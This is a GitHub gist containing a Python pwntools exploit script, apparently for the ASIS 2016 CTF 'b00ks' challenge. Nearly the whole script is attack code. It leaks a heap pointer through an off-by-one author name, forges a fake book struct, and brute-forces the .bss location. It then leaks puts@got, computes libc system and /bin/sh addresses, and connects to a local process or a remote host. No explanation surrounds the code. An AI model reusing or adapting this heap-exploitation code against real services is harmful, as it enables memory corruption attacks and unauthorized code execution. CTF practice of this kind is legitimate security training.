Created
May 8, 2016 16:16
-
-
Save Grazfather/51a7e269a9fc7f7099a4fcba87cf00f3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import sys | |
CREATE = "1" | |
DELETE = "2" | |
EDIT = "3" | |
PRINT = "4" | |
CHANGE = "5" | |
EXIT = "6" | |
AUTHOR = "A" * 0x20 | |
def bookCreate(nameSize, name, descSize, desc): | |
r.sendline(CREATE) | |
r.recvuntil('Enter book name size: ') | |
r.sendline(str(nameSize)) | |
r.recvuntil('Enter book name (Max 32 chars): ') | |
r.sendline(name) | |
r.recvuntil('Enter book description size: ') | |
r.sendline(str(descSize)) | |
r.recvuntil('Enter book description: ') | |
r.sendline(desc) | |
r.recvuntil('> ') | |
def printDetails(): | |
r.sendline(PRINT) | |
def bookEdit(id, desc): | |
r.sendline(EDIT) | |
r.recvuntil('Enter the book id you want to edit: ') | |
r.sendline(str(id)) | |
r.recvuntil('Enter new book description: ') | |
if desc: | |
r.sendline(desc) | |
else: | |
r.send("\n") | |
return r.recvuntil('> ') | |
def changeAuthor(name): | |
r.sendline(CHANGE) | |
r.recvuntil('Enter author name: ') | |
r.sendline(name) | |
r.recvuntil('> ') | |
def exploit(r): | |
log.info("Set author name 32 bytes long to come right against books[0]") | |
r.sendline(AUTHOR) | |
log.info("Create a fake book struct template within another book's desc") | |
bookCreate(232, "A", 32, "B") | |
log.info("Print book name (and author) to get leak") | |
printDetails() | |
r.recvuntil('Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') | |
leak = u64(r.recv(6).ljust(8, '\0')) | |
log.info("Book struct: " + hex(leak)) | |
r.recvuntil('> ') | |
log.info("Edit book description to place a fake book") | |
desc = p64(1) | |
desc += p64(leak - 0x130) # book1->name | |
desc += p64(leak + 0x80) # book1->desc | |
desc += p32(16) | |
bookEdit(1, desc) | |
log.info("Create second legit book") | |
bookCreate(16, "A", 16, "B") | |
log.info("Change author name to set LSB of books[0] to 0") | |
changeAuthor(AUTHOR) | |
log.info("Edit the fake book to modify the second book desc pointer") | |
bookEdit(1, p64(leak - 0x130 - 0x1000) + p32(0x10)) | |
log.info("Keep trying to read into different buffers until we hit the bss") | |
dec = leak - 0x130 - 0x80000 | |
tries = 0 | |
log.info("Starting at 0x{:x}".format(dec)) | |
while True: | |
tries += 1 | |
dec -= 0x1000 | |
if "\x0a" in p64(dec): | |
continue | |
data = bookEdit(2, None) | |
if "Unable " not in data: | |
break | |
bookEdit(1, p64(dec) + p32(0x10)) | |
log.info("It took {} tries".format(tries)) | |
bss = dec + 0x1008 | |
base = dec | |
got_puts = base + 0xf80 | |
log.info("Found .bss: " + hex(bss)) | |
log.info("Found .base: " + hex(base)) | |
log.info("Found puts@got: " + hex(got_puts)) | |
log.info("Edit the fake book to point to puts@got") | |
bookEdit(1, p64(got_puts)) | |
log.info("Print the books, leaking puts") | |
printDetails() | |
r.recvuntil("ID: 2", timeout=.5) | |
r.recvuntil("Description: ", timeout=.5) | |
puts = u64(r.recv(6).ljust(8, '\0')) | |
r.recvuntil(AUTHOR) | |
# Calculate addresses from offsets | |
# system = puts - 0x297f0 # remote | |
system = puts - 0x2aae0 # local | |
# bin_sh = puts + 0x10ceab # remote | |
bin_sh = puts + 0xfb81b # local | |
stack_ptr = base - 0x201e88 # remote | |
stack_ptr = base - 0x201e88 # remote | |
magic_system = system - 0x114 | |
real_base = base - 0x201000 | |
log.info("puts found : " + hex(puts)) | |
log.info("system found: " + hex(system)) | |
log.info("bin_sh found: " + hex(bin_sh)) | |
log.info("Stack found : " + hex(stack_ptr)) | |
log.info("Magic system: " + hex(magic_system)) | |
log.info("Real base : " + hex(real_base)) | |
r.interactive() | |
if __name__ == "__main__": | |
context.log_level = "info" | |
log.info("For remote: %s HOST PORT" % sys.argv[0]) | |
if len(sys.argv) > 1: | |
r = remote(sys.argv[1], int(sys.argv[2])) | |
exploit(r) | |
else: | |
# r = process(['/vagrant/ASIS-2016-Quals/pwn146/books/b00ks']) | |
r = process(['/vagrant/ctfs/asis-2016/books/b00ks']) | |
print util.proc.pidof(r) | |
pause() | |
exploit(r) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment